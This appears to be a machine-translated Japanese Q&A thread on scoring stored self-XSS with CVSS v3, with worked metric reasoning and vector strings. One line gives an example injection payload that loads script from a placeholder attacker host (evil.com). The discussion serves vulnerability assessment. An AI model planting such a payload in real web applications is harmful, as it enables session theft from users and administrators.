保存された自己XSS攻撃に対して脆弱なWebアプリケーションがあります。データベースからのデータ(同じユーザーによって設定された)が応答に追加される場所では、適切なエンコードが行われません。
ただし、このXSSは、次の条件では自己XSS(保存されたXSS)ではないと見なすことができます。
CVSSスコアを計算するとき、次の懸念事項があります。
CVSSスコアを計算するとき、この種のシナリオの一般的な方法は何ですか?
これらの2つのシナリオでは:
攻撃者は既にユーザーのセッションにアクセスできます。その時点で脆弱性を悪用する必要がありますが、この時点でセッションはすでに侵害されているため、追加の影響はありません。
このシナリオ:
システム設計によって多少異なりますが、ほとんどのシステムでは、パスワードのリセットなどを行うことにより、管理者がユーザープロファイルにアクセスできます。したがって、ほとんどのシステムでは、ここでの追加の影響はありません。
CVSS v3計算機 を使用し、CIAの影響をすべてなしに設定した場合、他の値をどのように設定しても問題ありません。出力は0.0です。これが、セルフXSSが通常、ベストプラクティスの問題であり、脆弱性ではないと見なされる理由です。
注意すべきことの1つはCSRFです。セルフXSSインジェクションポイントがCSRFに対して脆弱である場合、これは脆弱性です。
•管理ユーザーが悪意のあるコンテンツをユーザーのプロファイルに追加した。
管理ユーザーがXSSガジェットを追加している既存の権限によっては、それ以上の権限を取得できない可能性があるため、完全性と機密性は最低限です。
•誰かが別の方法でデータベースを変更できる場合。
それは似ているか、さらに極端なことですが、データベースを変更できる人は通常、すべての特権をすでに持っています。
•また、誰かがユーザーのCookieを盗むことができる場合(セッションハイジャック)。
これは機密性であり、(悪用可能な場合)整合性リスクでもあります。しかし、それは誰かが誰であるか、そして彼らがどのような特権を持っているかに依存します(つまり、上記の2つのグループとは異なります)。
通常、永続的なXSSの最も重要な状況は、通常のユーザーが管理者をだまして悪意のあるコンテンツにアクセスさせ、それによって管理セッションを抽出(および使用)できる場合です。 2番目に重大度が高いのは、ある用途でこの方法で別の非特権ユーザーをハイジャックできる場合です。管理者を無視することは一般的ですが(管理者が直接HTMLを編集できるようになった後)、それはあなたがそれらに付与したい特権に依存します。 Self-XSSは、(CSRF)ユーザーをだまして悪意のあるペイロードを追加させることができる場合にも問題になる可能性があります(これは、反映されたXSSで一般的です)。
•悪意のあるデータがすでにデータベースに格納されているかどうかを想定する必要がありますか?
通常、被害は「はい」であると想定しますが、特定のケース(adminまたはdba)では、これが特権の昇格であるとはまったく考えないかもしれません。
•そのように想定すると、XSSペイロードをデータベースに取り込む複雑さは考慮されないため、CVSSスコアが増加します。
攻撃はそこにコンテンツを取得しています。これが複雑さの説明です。管理者やdbaが入力しなければならない場合は低くなります(dBS構造に関する知識は、CVSS仕様に従って指定されていると想定する必要があります)。
質問には、実際には2つのシナリオが含まれています。低特権ユーザーが自分自身をXSSすることと、高特権ユーザーが低特権ユーザーをXSSすることです。
Self-XSSは、近視眼的ですが、「問題ではない」と見なされることがよくあります。これは明らかに問題ではないかもしれませんが、要件が変更されたかどうかはわかりません。
たとえば、ユーザーが自分だけに表示される自分のプロファイルでXSSを作成できる場合、それは問題ではないと考えるかもしれません。 1年後、管理者がプロファイルを表示できる機能が実装され、突然、管理者アカウントからセッショントークンを盗むXSSができました。
CVSSスコアを評価するために、各カテゴリを分析してみましょう。
攻撃の複雑度(AC):これは特定のシナリオに依存しますが、通常は複雑度はかなり低くなります。引用するには:
特別なアクセス条件や根絶する状況は存在しません。攻撃者は、脆弱なコンポーネントに対して繰り返し成功することを期待できます。
つまり、攻撃者が"><script src="//evil.com/payload.js
の場合、ペイロードは毎回注入されます。
必要な特権(PR):この部分は頻繁に議論されます。攻撃者がユーザーアカウントを必要としているが、ユーザーアカウントを取得するために必要なのは、アカウントを作成することだけである場合、それは本当にメトリックを低下させるのですかPRは、資格情報を盗むか、脆弱性を利用して特権ユーザーとしてアクションを実行することにより、防御側から取得する必要がある特権をPRが説明していると言う人もいます。他の人は、これらの特権が簡単に取得できるかどうかに関係なく、ユーザーが特権を必要とするという事実についてのみであると言います。
私は前者に属しているので、これを「なし(N)」と評価します。私は このトピックについても質問を作成しました であることに注意してください。
ユーザー操作(UI):はい、管理者は攻撃を成功させるために攻撃者のプロファイルにアクセスする必要があります。
スコープ(S):この場合、脆弱なコンポーネントはWebサーバーであり、影響を受けるコンポーネントは被害者のブラウザであるため、スコープが変更されました。この推論は CVSS v3.0の例 から取られています。
機密性(C):繰り返しますが、これは見方によって異なります。管理者のセッショントークンへのアクセスを取得することは非常に重大な違反であるため、私は個人的に機密性の損失は「高(H)」であると主張します。
誠実さ(I):個人的には、影響が「低い(L)」であると主張します。攻撃者は実際にペイロードを使用してサイトを変更できますが、これは通常XSS攻撃の目的ではありません。
可用性(A):繰り返しますが、これを「低(L)」に設定することを主張します。攻撃者は、ユーザーをサイトからリダイレクトし続けることで可用性に影響を与えるペイロードを作成する可能性がありますが、これは通常、目標ではありません。
これらすべてを一緒に追加すると、次のベクトル文字列が得られます。
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L
-8.8(高)
ユーザーが自分のプロファイルを「トラップ」すると仮定する代わりに、管理者がすべてのユーザーのプロファイルを変更すると仮定します。したがって、ユーザーが自分のプロファイルを見ると、ペイロードがトリガーされます。
実際に変更されるのはPrivileges Required(PR)のみで、これは「高(H)」に設定されます。
これにより、次のベクトルが生成されます。
CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
-7.5(高)
これらの結果を見ると、CVSSは可能性を考慮していないことがわかります。これは欠陥と見なされる可能性がありますが、これはこの質問の範囲外です。
次に、いくつかの質問に答えます。
悪意のあるデータが既にデータベースに格納されているかどうかを想定する必要がありますか?
CVSSはデータの保存場所を尋ねません。これはスコアには影響しません。
そのように想定すると、XSSペイロードをデータベースに取り込む複雑さが考慮されないため、CVSSスコアが増加します。
ここでも、スコアは選択したベクトルによって異なります。これらはいずれも、データの保存場所に関するものではありません。
そうでない場合、(自己XSSであるだけでなく)格納されたXSS攻撃を実行するために必要な複雑さと高い特権により、CVSSスコアは減少します。
必要な特権が高いとスコアが下がりますが、それほど減ることはありません。管理アカウントが必要な場合でも、単純なXSS脆弱性は7.5と見なされます。